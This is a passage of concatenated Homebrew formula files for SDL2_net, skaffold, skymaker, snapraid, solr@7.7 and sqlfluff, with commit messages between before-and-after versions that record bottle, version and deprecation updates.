"ebabcb8f4df6fdee7855a6e19080aea42d9909205b287312015179bb9b3f472a" => :mavericks end depends_on "pkg-config" => :build depends_on "sdl2" def install inreplace "SDL2_net.pc.in", "@prefix@", HOMEBREW_PREFIX system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-sdltest" system "make", "install" end test do (testpath/"test.c").write <<~EOS #include <SDL2/SDL_net.h> int main() { int success = SDLNet_Init(); SDLNet_Quit(); return success; } EOS system ENV.cc, "-L#{lib}", "-lsdl2_net", "test.c", "-o", "test" system "./test" end end
class Skaffold < Formula desc "Easy and Repeatable Kubernetes Development" homepage "https://github.com/GoogleContainerTools/skaffold" url "https://github.com/GoogleContainerTools/skaffold.git", :tag => "v0.22.0", :revision => "2187105aae414f500789ca6873898efeb104d7a7" head "https://github.com/GoogleContainerTools/skaffold.git" bottle do cellar :any_skip_relocation sha256 "d526e1a50be85e9b25a434a7f06efa0abbff1258fbf2ab55f8e17bcaf8ae96dd" => :mojave sha256 "fd3460c834c53c8951bea303d840102b79293e1ead25d8a08ce6d36c82bdd307" => :high_sierra sha256 "64b8b15aaed682a7223f41a9528e701ce03833f448ffb9d8014bf6bd35cedd39" => :sierra end depends_on "go" => :build def install ENV["GOPATH"] = buildpath dir = buildpath/"src/github.com/GoogleContainerTools/skaffold" dir.install buildpath.children - [buildpath/".brew_home"] cd dir do system "make" bin.install "out/skaffold" prefix.install_metafiles end end test do output = shell_output("#{bin}/skaffold version --output {{.GitTreeState}}") assert_match "clean", output end end skaffold: update 0.22.0 bottle. class Skaffold < Formula desc "Easy and Repeatable Kubernetes Development" homepage "https://github.com/GoogleContainerTools/skaffold" url "https://github.com/GoogleContainerTools/skaffold.git", :tag => "v0.22.0", :revision => "2187105aae414f500789ca6873898efeb104d7a7" head "https://github.com/GoogleContainerTools/skaffold.git" bottle do cellar :any_skip_relocation sha256 "48b1791cd0fa9bb6b8cee655f8dc93316fec1e5f3f8bcc28a3530b5fa8bde478" => :mojave sha256 "35a9588eca52b3b37a99e3f49f6a00d56e069336bff1e35da05e062825e73de2" => :high_sierra sha256 "7b1da6faa7ebf5e56c38341d127368975104db06f4f52788f2b0bcf12e14957f" => :sierra end depends_on "go" => :build def install ENV["GOPATH"] = buildpath dir = buildpath/"src/github.com/GoogleContainerTools/skaffold" dir.install buildpath.children - [buildpath/".brew_home"] cd dir do system "make" bin.install "out/skaffold" prefix.install_metafiles end end test do output = shell_output("#{bin}/skaffold version --output {{.GitTreeState}}") assert_match "clean", output end end
class Skaffold < Formula desc "Easy and Repeatable Kubernetes Development" homepage "https://skaffold.dev/" url "https://github.com/GoogleContainerTools/skaffold.git", tag: "v1.33.1", revision: "ec522e6182dbe55193e29b475cfe6244e621a140" license "Apache-2.0" head "https://github.com/GoogleContainerTools/skaffold.git", branch: "main" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "2f2455f7f099dae1bf83a163b7e856f257b26a74d5c2b13044b082c702161288" sha256 cellar: :any_skip_relocation, big_sur: "1d9b4729d15d2fab7c71c7849cf08ec7e4ff0ad3a731a89abff659b217ae271f" sha256 cellar: :any_skip_relocation, catalina: "73fb0cceba81f9a6a0661e3212f4612eec246314c295d72da7b50a3f09fafec3" sha256 cellar: :any_skip_relocation, mojave: "bed6d3a0c299e93436cc8aaa93da15484e76a1514bb555fe9eab46ebf51af604" sha256 cellar: :any_skip_relocation, x86_64_linux: "123d9e087ce93d4f6287ad33684d70e9bfa6d0ceecab189d49bcfa4ff9ec3376" end depends_on "go" => :build def install system "make" bin.install "out/skaffold" output = Utils.safe_popen_read("#{bin}/skaffold", "completion", "bash") (bash_completion/"skaffold").write output output = Utils.safe_popen_read("#{bin}/skaffold", "completion", "zsh") (zsh_completion/"_skaffold").write output end test do (testpath/"Dockerfile").write "FROM scratch" output = shell_output("#{bin}/skaffold init --analyze").chomp assert_equal '{"builders":[{"name":"Docker","payload":{"path":"Dockerfile"}}]}', output end end skaffold: update 1.33.1 bottle. class Skaffold < Formula desc "Easy and Repeatable Kubernetes Development" homepage "https://skaffold.dev/" url "https://github.com/GoogleContainerTools/skaffold.git", tag: "v1.33.1", revision: "ec522e6182dbe55193e29b475cfe6244e621a140" license "Apache-2.0" head "https://github.com/GoogleContainerTools/skaffold.git", branch: "main" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "53b00760b3a162522641ff54d2d315f891c2a5937369da890fdd20955957bb44" sha256 cellar: :any_skip_relocation, big_sur: "f9962183e666d6a203bbeda4dac92df2c8d61f7a2e225c3f8ee6569aee642fca" sha256 cellar: :any_skip_relocation, catalina: "01f1b1fe75ea333235f0ef0be9fbf27ed36498bf11c4a1251d94e3a75193c230" sha256 cellar: :any_skip_relocation, x86_64_linux: "6b5d817654d5395fca23e29f2c40ea9e8888cbc8bb83c4282576d11b068fdf0a" end depends_on "go" => :build def install system "make" bin.install "out/skaffold" output = Utils.safe_popen_read("#{bin}/skaffold", "completion", "bash") (bash_completion/"skaffold").write output output = Utils.safe_popen_read("#{bin}/skaffold", "completion", "zsh") (zsh_completion/"_skaffold").write output end test do (testpath/"Dockerfile").write "FROM scratch" output = shell_output("#{bin}/skaffold init --analyze").chomp assert_equal '{"builders":[{"name":"Docker","payload":{"path":"Dockerfile"}}]}', output end end
class Skymaker < Formula desc "Generates fake astronomical images" homepage "https://www.astromatic.net/software/skymaker" # Upstream URL is currently 404 Not Found. Can re-enable if upstream restores URL. # url "https://www.astromatic.net/download/skymaker/skymaker-3.10.5.tar.gz" url "https://web.archive.org/web/20161206053718/www.astromatic.net/download/skymaker/skymaker-3.10.5.tar.gz" mirror "https://www.mirrorservice.org/sites/distfiles.macports.org/skymaker/skymaker-3.10.5.tar.gz" sha256 "a16f9c2bd653763b5e1629e538d49f63882c46291b479b4a4997de84d8e9fb0f" bottle do sha256 cellar: :any, arm64_big_sur: "44e3eadc4f4a2984ffff332f93e9aa7a383b7a395ccd9fd6714a237a48ed72d0" sha256 cellar: :any, big_sur: "2262e9a1f11f41c75fc8ccb47717f779bbb62bf86ddbabd42975fe684278efb9" sha256 cellar: :any, catalina: "af78e7af9c84517e8f7db071ef3718a34eafc39d6eac3357d77ee183d4fe2cdf" sha256 cellar: :any, mojave: "ef2182885eb6952289057ce2756ac56ec9a88397e746b694529a937eaa28b943" sha256 cellar: :any, high_sierra: "6e7aa4c817624d5631293d0421b25eec132e41bfe3d75f9044a85dd02f73de4a" sha256 cellar: :any_skip_relocation, x86_64_linux: "10fd94a91d3a556bbc800e809c596451cd08893656ad8f2205759e2016411328" end depends_on "autoconf" => :build depends_on "fftw" def install system "autoconf" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make" system "make", "install" end test do assert_match "added", shell_output("#{bin}/sky 2>&1") end end skymaker: update 3.10.5 bottle. class Skymaker < Formula desc "Generates fake astronomical images" homepage "https://www.astromatic.net/software/skymaker" # Upstream URL is currently 404 Not Found. Can re-enable if upstream restores URL. # url "https://www.astromatic.net/download/skymaker/skymaker-3.10.5.tar.gz" url "https://web.archive.org/web/20161206053718/www.astromatic.net/download/skymaker/skymaker-3.10.5.tar.gz" mirror "https://www.mirrorservice.org/sites/distfiles.macports.org/skymaker/skymaker-3.10.5.tar.gz" sha256 "a16f9c2bd653763b5e1629e538d49f63882c46291b479b4a4997de84d8e9fb0f" bottle do sha256 cellar: :any, arm64_big_sur: "44e3eadc4f4a2984ffff332f93e9aa7a383b7a395ccd9fd6714a237a48ed72d0" sha256 cellar: :any, monterey: "9c6b33e5127676aaec7d1d8c0232fb78be8a0bb8a5ee4fc429e0516b45e0846c" sha256 cellar: :any, big_sur: "2262e9a1f11f41c75fc8ccb47717f779bbb62bf86ddbabd42975fe684278efb9" sha256 cellar: :any, catalina: "af78e7af9c84517e8f7db071ef3718a34eafc39d6eac3357d77ee183d4fe2cdf" sha256 cellar: :any, mojave: "ef2182885eb6952289057ce2756ac56ec9a88397e746b694529a937eaa28b943" sha256 cellar: :any, high_sierra: "6e7aa4c817624d5631293d0421b25eec132e41bfe3d75f9044a85dd02f73de4a" sha256 cellar: :any_skip_relocation, x86_64_linux: "10fd94a91d3a556bbc800e809c596451cd08893656ad8f2205759e2016411328" end depends_on "autoconf" => :build depends_on "fftw" def install system "autoconf" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make" system "make", "install" end test do assert_match "added", shell_output("#{bin}/sky 2>&1") end end
class Snapraid < Formula desc "Backup program for disk arrays" homepage "https://snapraid.sourceforge.io/" url "https://github.com/amadvance/snapraid/releases/download/v11.1/snapraid-11.1.tar.gz" sha256 "b9acafeb6cece61fd426f08362b596ba89eea0564231955b82156fd09c0e6884" bottle do sha256 "62363f69835ce51d827e193abe28ce52296d93f371e9c2882df9e90d54a1863d" => :sierra sha256 "7d38569bba0d323e45cc1c078744d605ddb8ed7c01ed4231be22f5046fd6006a" => :el_capitan sha256 "256e6e76301b389330ffe051f89c5bc4901917e8dc9987c954c06e7db5429b0f" => :yosemite end head do url "https://github.com/amadvance/snapraid.git" depends_on "automake" => :build depends_on "autoconf" => :build end def install system "./autogen.sh" if build.head? system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_match version.to_s, shell_output("#{bin}/snapraid --version") end end snapraid: update 11.1 bottle. class Snapraid < Formula desc "Backup program for disk arrays" homepage "https://snapraid.sourceforge.io/" url "https://github.com/amadvance/snapraid/releases/download/v11.1/snapraid-11.1.tar.gz" sha256 "b9acafeb6cece61fd426f08362b596ba89eea0564231955b82156fd09c0e6884" bottle do sha256 "ee0f9a795f2fa1af515eee0733f7e9d20e10fe2971057264d54f748faebbb845" => :sierra sha256 "ccff98a96d5136cbe1e8e64f50190100e909fa194ff623b4adf7e18b3dc201fd" => :el_capitan sha256 "fcf97bda192b15c62638304046aef135f23766f6b9cfd0fa75e643fe69005251" => :yosemite end head do url "https://github.com/amadvance/snapraid.git" depends_on "automake" => :build depends_on "autoconf" => :build end def install system "./autogen.sh" if build.head? system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_match version.to_s, shell_output("#{bin}/snapraid --version") end end
class SolrAT77 < Formula desc "Enterprise search platform from the Apache Lucene project" homepage "https://solr.apache.org" url "https://dlcdn.apache.org/lucene/solr/7.7.3/solr-7.7.3.tgz" mirror "https://archive.apache.org/dist/lucene/solr/7.7.3/solr-7.7.3.tgz" sha256 "3ec67fa430afa5b5eb43bb1cd4a659e56ee9f8541e0116d6080c0d783870baee" license "Apache-2.0" revision 1 # Remove the `livecheck` block (so the check is automatically skipped) once # the 7.7.x series is reported as EOL on the first-party downloads page: # https://solr.apache.org/downloads.html#about-versions-and-support livecheck do url "https://solr.apache.org/downloads.html" regex(/href=.*?solr[._-]v?(7(?:\.\d+)+)\.t/i) end bottle do rebuild 2 sha256 cellar: :any_skip_relocation, all: "2ece595725317381657387652c053d0e88069f7238c8ce9decbd91794ab5fc7e" end keg_only :versioned_formula depends_on "openjdk@11" def install pkgshare.install "bin/solr.in.sh" (var/"lib/solr").install "server/solr/README.txt", "server/solr/solr.xml", "server/solr/zoo.cfg" prefix.install %w[contrib dist server] libexec.install "bin" bin.install [libexec/"bin/solr", libexec/"bin/post", libexec/"bin/oom_solr.sh"] env = Language::Java.overridable_java_home_env("11") env["SOLR_HOME"] = "${SOLR_HOME:-#{var/"lib/solr"}}" env["SOLR_LOGS_DIR"] = "${SOLR_LOGS_DIR:-#{var/"log/solr"}}" env["SOLR_PID_DIR"] = "${SOLR_PID_DIR:-#{var/"run/solr"}}" bin.env_script_all_files libexec, env (libexec/"bin").rmtree inreplace libexec/"solr", "/usr/local/share/solr", pkgshare end def post_install (var/"run/solr").mkpath (var/"log/solr").mkpath end service do run [opt_bin/"solr", "start", "-f"] working_dir HOMEBREW_PREFIX end test do ENV["SOLR_PID_DIR"] = testpath port = free_port # Info detects no Solr node => exit code 3 shell_output(bin/"solr -i", 3) # Start a Solr node => exit code 0 shell_output(bin/"solr start -p #{port} -Djava.io.tmpdir=/tmp") # Info detects a Solr node => exit code 0 shell_output(bin/"solr -i") # Impossible to start a second Solr node on the same port => exit code 1 shell_output(bin/"solr start -p #{port}", 1) # Test fails in docker, see https://github.com/apache/solr/pull/250 # Newset solr version has been fixed, this legacy version will not be patched, # so just ignore the test. return if OS.linux? && ENV["HOMEBREW_GITHUB_ACTIONS"] # Stop a Solr node => exit code 0 shell_output(bin/"solr stop -p #{port}") # No Solr node left to stop => exit code 1 shell_output(bin/"solr stop -p #{port}", 1) end end solr@7.7: deprecate Closes #102204. Signed-off-by: Michael Cho <ad37dc0e034c3938811c0096de6272abd124db31@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class SolrAT77 < Formula desc "Enterprise search platform from the Apache Lucene project" homepage "https://solr.apache.org" url "https://dlcdn.apache.org/lucene/solr/7.7.3/solr-7.7.3.tgz" mirror "https://archive.apache.org/dist/lucene/solr/7.7.3/solr-7.7.3.tgz" sha256 "3ec67fa430afa5b5eb43bb1cd4a659e56ee9f8541e0116d6080c0d783870baee" license "Apache-2.0" revision 1 bottle do rebuild 2 sha256 cellar: :any_skip_relocation, all: "2ece595725317381657387652c053d0e88069f7238c8ce9decbd91794ab5fc7e" end keg_only :versioned_formula # The 7.7 series is end of life (EOL) as of 2022-05. deprecate! date: "2022-05-12", because: :unsupported depends_on "openjdk@11" def install pkgshare.install "bin/solr.in.sh" (var/"lib/solr").install "server/solr/README.txt", "server/solr/solr.xml", "server/solr/zoo.cfg" prefix.install %w[contrib dist server] libexec.install "bin" bin.install [libexec/"bin/solr", libexec/"bin/post", libexec/"bin/oom_solr.sh"] env = Language::Java.overridable_java_home_env("11") env["SOLR_HOME"] = "${SOLR_HOME:-#{var/"lib/solr"}}" env["SOLR_LOGS_DIR"] = "${SOLR_LOGS_DIR:-#{var/"log/solr"}}" env["SOLR_PID_DIR"] = "${SOLR_PID_DIR:-#{var/"run/solr"}}" bin.env_script_all_files libexec, env (libexec/"bin").rmtree inreplace libexec/"solr", "/usr/local/share/solr", pkgshare end def post_install (var/"run/solr").mkpath (var/"log/solr").mkpath end service do run [opt_bin/"solr", "start", "-f"] working_dir HOMEBREW_PREFIX end test do ENV["SOLR_PID_DIR"] = testpath port = free_port # Info detects no Solr node => exit code 3 shell_output(bin/"solr -i", 3) # Start a Solr node => exit code 0 shell_output(bin/"solr start -p #{port} -Djava.io.tmpdir=/tmp") # Info detects a Solr node => exit code 0 shell_output(bin/"solr -i") # Impossible to start a second Solr node on the same port => exit code 1 shell_output(bin/"solr start -p #{port}", 1) # Test fails in docker, see https://github.com/apache/solr/pull/250 # Newset solr version has been fixed, this legacy version will not be patched, # so just ignore the test. return if OS.linux? && ENV["HOMEBREW_GITHUB_ACTIONS"] # Stop a Solr node => exit code 0 shell_output(bin/"solr stop -p #{port}") # No Solr node left to stop => exit code 1 shell_output(bin/"solr stop -p #{port}", 1) end end
class Sqlfluff < Formula include Language::Python::Virtualenv desc "SQL linter and auto-formatter for Humans" homepage "https://docs.sqlfluff.com/" url "https://files.pythonhosted.org/packages/99/14/0d5193fdf15c90fcbec76b12495c3d006df8a60a79def1bfdb4c2e5d6e78/sqlfluff-0.11.1.tar.gz" sha256 "707507debcd6b0a504371d53e1f4ce16d020b462824f60004364fc0bcae9fc23" license "MIT" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "e90ed398f1eaa0a6a51786182fbaf11f527ee0e4502839759ca130385ebe798c" sha256 cellar: :any_skip_relocation, arm64_big_sur: "928cfe550d20fb906f254d3f5676f826b8975b180188dde4cca4e19d4a721dc1" sha256 cellar: :any_skip_relocation, monterey: "9f4a037f3e28144697f5cc817c6d4481e9e51a3cdfba5bfed7b8fd11657ad1e7" sha256 cellar: :any_skip_relocation, big_sur: "6de1d7ccef15bffa8c02a3cd2619494678ce6a41b5edd2369f976e6093851d6f" sha256 cellar: :any_skip_relocation, catalina: "fc3ec92e76ff12d98f812d184fc2ddb488faa4e80f8f6217d6e364ccd9cf1d5f" sha256 cellar: :any_skip_relocation, x86_64_linux: "9a639a8e683964a35780a4c6e19966d19b60081e2d4780fd96a8c2a78fe0e5d0" end depends_on "python@3.10" resource "appdirs" do url "https://files.pythonhosted.org/packages/d7/d8/05696357e0311f5b5c316d7b95f46c669dd9c15aaeecbb48c7d0aeb88c40/appdirs-1.4.4.tar.gz" sha256 "7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41" end resource "attrs" do url "https://files.pythonhosted.org/packages/d7/77/ebb15fc26d0f815839ecd897b919ed6d85c050feeb83e100e020df9153d2/attrs-21.4.0.tar.gz" sha256 "626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" end resource "chardet" do url "https://files.pythonhosted.org/packages/ee/2d/9cdc2b527e127b4c9db64b86647d567985940ac3698eeabc7ffaccb4ea61/chardet-4.0.0.tar.gz" sha256 "0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa" end resource "click" do url "https://files.pythonhosted.org/packages/dd/cf/706c1ad49ab26abed0b77a2f867984c1341ed7387b8030a6aa914e2942a0/click-8.0.4.tar.gz" sha256 "8458d7b1287c5fb128c90e23381cf99dcde74beaf6c7ff6384ce84d6fe090adb" end resource "colorama" do url "https://files.pythonhosted.org/packages/1f/bb/5d3246097ab77fa083a61bd8d3d527b7ae063c7d8e8671b1cf8c4ec10cbe/colorama-0.4.4.tar.gz" sha256 "5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b" end resource "diff-cover" do url "https://files.pythonhosted.org/packages/2f/20/54914c269627d2ab18b0d0bb2276613d6b3313451e173ff28f07e5736959/diff_cover-6.4.4.tar.gz" sha256 "b1d782c1ce53ad4b2c5545f8b7aa799eb61a0b12a62b376a18e2313c6f2d77f1" end resource "iniconfig" do url "https://files.pythonhosted.org/packages/23/a2/97899f6bd0e873fed3a7e67ae8d3a08b21799430fb4da15cfedf10d6e2c2/iniconfig-1.1.1.tar.gz" sha256 "bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" end resource "Jinja2" do url "https://files.pythonhosted.org/packages/91/a5/429efc6246119e1e3fbf562c00187d04e83e54619249eb732bb423efa6c6/Jinja2-3.0.3.tar.gz" sha256 "611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" end resource "MarkupSafe" do url "https://files.pythonhosted.org/packages/1d/97/2288fe498044284f39ab8950703e88abbac2abbdf65524d576157af70556/MarkupSafe-2.1.1.tar.gz" sha256 "7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b" end resource "packaging" do url "https://files.pythonhosted.org/packages/df/9e/d1a7217f69310c1db8fdf8ab396229f55a699ce34a203691794c5d1cad0c/packaging-21.3.tar.gz" sha256 "dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb" end resource "pathspec" do url "https://files.pythonhosted.org/packages/f6/33/436c5cb94e9f8902e59d1d544eb298b83c84b9ec37b5b769c5a0ad6edb19/pathspec-0.9.0.tar.gz" sha256 "e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1" end resource "pluggy" do url "https://files.pythonhosted.org/packages/a1/16/db2d7de3474b6e37cbb9c008965ee63835bba517e22cdb8c35b5116b5ce1/pluggy-1.0.0.tar.gz" sha256 "4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159" end resource "py" do url "https://files.pythonhosted.org/packages/98/ff/fec109ceb715d2a6b4c4a85a61af3b40c723a961e8828319fbcb15b868dc/py-1.11.0.tar.gz" sha256 "51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719" end resource "Pygments" do url "https://files.pythonhosted.org/packages/94/9c/cb656d06950268155f46d4f6ce25d7ffc51a0da47eadf1b164bbf23b718b/Pygments-2.11.2.tar.gz" sha256 "4e426f72023d88d03b2fa258de560726ce890ff3b630f88c21cbb8b2503b8c6a" end resource "pyparsing" do url "https://files.pythonhosted.org/packages/d6/60/9bed18f43275b34198eb9720d4c1238c68b3755620d20df0afd89424d32b/pyparsing-3.0.7.tar.gz" sha256 "18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea" end resource "pytest" do url "https://files.pythonhosted.org/packages/6e/1c/5a8a4ae3548eaa9a082a25cd6118f166d6bbe440300b3c57c4904cc47935/pytest-7.1.0.tar.gz" sha256 "f1089d218cfcc63a212c42896f1b7fbf096874d045e1988186861a1a87d27b47" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/36/2b/61d51a2c4f25ef062ae3f74576b01638bebad5e045f747ff12643df63844/PyYAML-6.0.tar.gz" sha256 "68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2" end resource "regex" do url "https://files.pythonhosted.org/packages/0c/06/8d851419ff870cbe2bf65ecdcfda59d80f11f41157392d794ee544f15bf6/regex-2022.3.15.tar.gz" sha256 "0a7b75cc7bb4cc0334380053e4671c560e31272c9d2d5a6c4b8e9ae2c9bd0f82" end resource "tblib" do url "https://files.pythonhosted.org/packages/d3/41/901ef2e81d7b1e834b9870d416cb09479e175a2be1c4aa1a9dcd0a555293/tblib-1.7.0.tar.gz" sha256 "059bd77306ea7b419d4f76016aef6d7027cc8a0785579b5aad198803435f882c" end resource "toml" do url "https://files.pythonhosted.org/packages/be/ba/1f744cdc819428fc6b5084ec34d9b30660f6f9daaf70eead706e3203ec3c/toml-0.10.2.tar.gz" sha256 "b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" end resource "tomli" do url "https://files.pythonhosted.org/packages/c0/3f/d7af728f075fb08564c5949a9c95e44352e23dee646869fa104a3b2060a3/tomli-2.0.1.tar.gz" sha256 "de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f" end resource "tqdm" do url "https://files.pythonhosted.org/packages/cb/a5/803a55cae355bc2402492c6a1c23dc08117844e4a1c3a293b0ea19bca6fa/tqdm-4.63.0.tar.gz" sha256 "1d9835ede8e394bb8c9dcbffbca02d717217113adc679236873eeaac5bc0b3cd" end resource "typing-extensions" do url "https://files.pythonhosted.org/packages/b1/5a/8b5fbb891ef3f81fc923bf3cb4a578c0abf9471eb50ce0f51c74212182ab/typing_extensions-4.1.1.tar.gz" sha256 "1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42" end def install virtualenv_install_with_resources end test do assert_match version.to_s, shell_output("#{bin}/sqlfluff --version") (testpath/"test.sql").write <<~EOS SELECT 1; EOS assert_match "All Finished!", shell_output("#{bin}/sqlfluff lint --nocolor #{testpath}/test.sql") end end sqlfluff 0.11.2 Closes #97801. Signed-off-by: rui <907c7afd57be493757f13ccd1dd45dddf02db069@chenrui.dev> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Sqlfluff < Formula include Language::Python::Virtualenv desc "SQL linter and auto-formatter for Humans" homepage "https://docs.sqlfluff.com/" url "https://files.pythonhosted.org/packages/88/e4/02b9e7389e4aac60c0d21b3ea8a62a9febb0499fc2a54101516db9f3a86e/sqlfluff-0.11.2.tar.gz" sha256 "6e246fb8f2a6a2c307d905d826cf00fe5b639b05e1f09ce58e96eeb8460919cd" license "MIT" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "e90ed398f1eaa0a6a51786182fbaf11f527ee0e4502839759ca130385ebe798c" sha256 cellar: :any_skip_relocation, arm64_big_sur: "928cfe550d20fb906f254d3f5676f826b8975b180188dde4cca4e19d4a721dc1" sha256 cellar: :any_skip_relocation, monterey: "9f4a037f3e28144697f5cc817c6d4481e9e51a3cdfba5bfed7b8fd11657ad1e7" sha256 cellar: :any_skip_relocation, big_sur: "6de1d7ccef15bffa8c02a3cd2619494678ce6a41b5edd2369f976e6093851d6f" sha256 cellar: :any_skip_relocation, catalina: "fc3ec92e76ff12d98f812d184fc2ddb488faa4e80f8f6217d6e364ccd9cf1d5f" sha256 cellar: :any_skip_relocation, x86_64_linux: "9a639a8e683964a35780a4c6e19966d19b60081e2d4780fd96a8c2a78fe0e5d0" end depends_on "python@3.10" resource "appdirs" do url "https://files.pythonhosted.org/packages/d7/d8/05696357e0311f5b5c316d7b95f46c669dd9c15aaeecbb48c7d0aeb88c40/appdirs-1.4.4.tar.gz" sha256 "7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41" end resource "attrs" do url "https://files.pythonhosted.org/packages/d7/77/ebb15fc26d0f815839ecd897b919ed6d85c050feeb83e100e020df9153d2/attrs-21.4.0.tar.gz" sha256 "626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" end resource "chardet" do url "https://files.pythonhosted.org/packages/ee/2d/9cdc2b527e127b4c9db64b86647d567985940ac3698eeabc7ffaccb4ea61/chardet-4.0.0.tar.gz" sha256 "0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa" end resource "click" do url "https://files.pythonhosted.org/packages/dd/cf/706c1ad49ab26abed0b77a2f867984c1341ed7387b8030a6aa914e2942a0/click-8.0.4.tar.gz" sha256 "8458d7b1287c5fb128c90e23381cf99dcde74beaf6c7ff6384ce84d6fe090adb" end resource "colorama" do url "https://files.pythonhosted.org/packages/1f/bb/5d3246097ab77fa083a61bd8d3d527b7ae063c7d8e8671b1cf8c4ec10cbe/colorama-0.4.4.tar.gz" sha256 "5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b" end resource "diff-cover" do url "https://files.pythonhosted.org/packages/f5/ee/bb62769b2a49605580f2b0c40cf36bb2ca0fa197bca5622e4cddb8d60756/diff_cover-6.4.5.tar.gz" sha256 "a94b8c1c17dc24498917f7289fe383b457d8ad4ef2a3ffca80a892a41c8b58a6" end resource "iniconfig" do url "https://files.pythonhosted.org/packages/23/a2/97899f6bd0e873fed3a7e67ae8d3a08b21799430fb4da15cfedf10d6e2c2/iniconfig-1.1.1.tar.gz" sha256 "bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32" end resource "Jinja2" do url "https://files.pythonhosted.org/packages/89/e3/b36266381ae7a1310a653bb85f4f3658c462a69634fa9b2fef76252a50ed/Jinja2-3.1.1.tar.gz" sha256 "640bed4bb501cbd17194b3cace1dc2126f5b619cf068a726b98192a0fde74ae9" end resource "MarkupSafe" do url "https://files.pythonhosted.org/packages/1d/97/2288fe498044284f39ab8950703e88abbac2abbdf65524d576157af70556/MarkupSafe-2.1.1.tar.gz" sha256 "7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b" end resource "packaging" do url "https://files.pythonhosted.org/packages/df/9e/d1a7217f69310c1db8fdf8ab396229f55a699ce34a203691794c5d1cad0c/packaging-21.3.tar.gz" sha256 "dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb" end resource "pathspec" do url "https://files.pythonhosted.org/packages/f6/33/436c5cb94e9f8902e59d1d544eb298b83c84b9ec37b5b769c5a0ad6edb19/pathspec-0.9.0.tar.gz" sha256 "e564499435a2673d586f6b2130bb5b95f04a3ba06f81b8f895b651a3c76aabb1" end resource "pluggy" do url "https://files.pythonhosted.org/packages/a1/16/db2d7de3474b6e37cbb9c008965ee63835bba517e22cdb8c35b5116b5ce1/pluggy-1.0.0.tar.gz" sha256 "4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159" end resource "py" do url "https://files.pythonhosted.org/packages/98/ff/fec109ceb715d2a6b4c4a85a61af3b40c723a961e8828319fbcb15b868dc/py-1.11.0.tar.gz" sha256 "51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719" end resource "Pygments" do url "https://files.pythonhosted.org/packages/94/9c/cb656d06950268155f46d4f6ce25d7ffc51a0da47eadf1b164bbf23b718b/Pygments-2.11.2.tar.gz" sha256 "4e426f72023d88d03b2fa258de560726ce890ff3b630f88c21cbb8b2503b8c6a" end resource "pyparsing" do url "https://files.pythonhosted.org/packages/d6/60/9bed18f43275b34198eb9720d4c1238c68b3755620d20df0afd89424d32b/pyparsing-3.0.7.tar.gz" sha256 "18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea" end resource "pytest" do url "https://files.pythonhosted.org/packages/f0/8c/1fb22b4e526a7461b4797042ed9d9c26a7a69673a148709bf50692b874fb/pytest-7.1.1.tar.gz" sha256 "841132caef6b1ad17a9afde46dc4f6cfa59a05f9555aae5151f73bdf2820ca63" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/36/2b/61d51a2c4f25ef062ae3f74576b01638bebad5e045f747ff12643df63844/PyYAML-6.0.tar.gz" sha256 "68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2" end resource "regex" do url "https://files.pythonhosted.org/packages/0c/06/8d851419ff870cbe2bf65ecdcfda59d80f11f41157392d794ee544f15bf6/regex-2022.3.15.tar.gz" sha256 "0a7b75cc7bb4cc0334380053e4671c560e31272c9d2d5a6c4b8e9ae2c9bd0f82" end resource "tblib" do url "https://files.pythonhosted.org/packages/d3/41/901ef2e81d7b1e834b9870d416cb09479e175a2be1c4aa1a9dcd0a555293/tblib-1.7.0.tar.gz" sha256 "059bd77306ea7b419d4f76016aef6d7027cc8a0785579b5aad198803435f882c" end resource "toml" do url "https://files.pythonhosted.org/packages/be/ba/1f744cdc819428fc6b5084ec34d9b30660f6f9daaf70eead706e3203ec3c/toml-0.10.2.tar.gz" sha256 